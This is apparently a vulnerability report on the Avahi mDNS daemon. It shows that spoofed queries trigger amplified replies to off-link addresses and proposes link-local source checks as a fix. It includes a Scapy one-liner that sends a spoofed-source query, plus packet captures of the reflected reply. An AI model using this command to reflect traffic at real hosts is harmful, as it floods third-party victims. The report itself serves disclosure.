Description
I tried with Scapy to do a reflection with amplification on mDNS service running Avahi (git master branch and version 0.7) with a good result. This is very similar to issue CloudFlare observed with SSDP: lack of link-local checks when processing queries.
I sent spoofed datagram to mDNS with:
send(IP(src="1.1.1.1")/UDP(sport=53, dport=5353)/DNS(rd=1,qd=DNSQR(qtype="PTR", qname="_ssh._tcp.local.")))
This was responded by Avahi with amplification from 75 to 176 bytes and sent to spoofed IP.
15:41:47.604623 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto UDP (17), length 61)
1.1.1.1.53 > 192.168.1.195.5353: [udp sum ok] 0+ PTR? _ssh._tcp.local. (33)
15:41:47.604809 IP (tos 0x0, ttl 255, id 63310, offset 0, flags [DF], proto UDP (17), length 162)
192.168.1.195.5353 > 1.1.1.1.53: [bad udp cksum 0xc50c -> 0xed6c!] 0*- q: PTR? _ssh._tcp.local. 5/0/0 _ssh._tcp.local. [10s] PTR kali._ssh._tcp.local., kali._ssh._tcp.local. [10s] TXT "", kali._ssh._tcp.local. [10s] SRV kali.local.:22 0 0, kali.local. [10s] AAAA fe80::aee2:d3ff:fe38:d359, kali.local. [10s] A 192.168.1.195 (134)
Attaching PCAP file with query and response. Query was sent from same subnet.
avahi-traffic-reflection.pcap.gz
As you see Avahi replied to multicast query and sent reply to Cloudflare's DNS server on 53 port. TTL was 255. My router decremented that to 254 and forwarded packet to WAN, Unicast queries seems to be handled in a similar way.
I tested some more devices not running Avahi to have better understanding of the issue. My very old AVR (vulnerable to mDNS reflection on various ports, seems to have no link-local checks). Avahi-daemon (0.6.32 also vulnerable, didn't fallback to multicast, nor ignore non link-local queries, moreover it responds with unicast to src/dst port 5353 which seems to violate RFS and cause even more reflections possible).
On the other hand Google Chromecast seems to do very strict link-local checks and answers mostly with multicast replies. What is very interesting, as it ignores any non link-local queries. I was unable to do any reflection with Chromecast. I played also a bit with AppleTV's mDNS implementation and it seems to ignore all my attempts just as Chromecast do.
In my opinion section 11 of mDNS RFC 6762 still applies to Legacy Unicast Responses. Link-local checks should be done, and non link-local queries discarded. Google Chromecast seems to ignore requirements of s ection 6.7 (Legacy Unicast Responses) and sends response to 5353 port with multicast reply.
Could this be fixed just by a strict verification of source address belongs to link-local network to make sure remote, rouge queries are ignored? The second part of improvement would be removal of legacy support and force of fallback to multicast to ensure answers are link-local too. This however might break backward compatibility as I understand.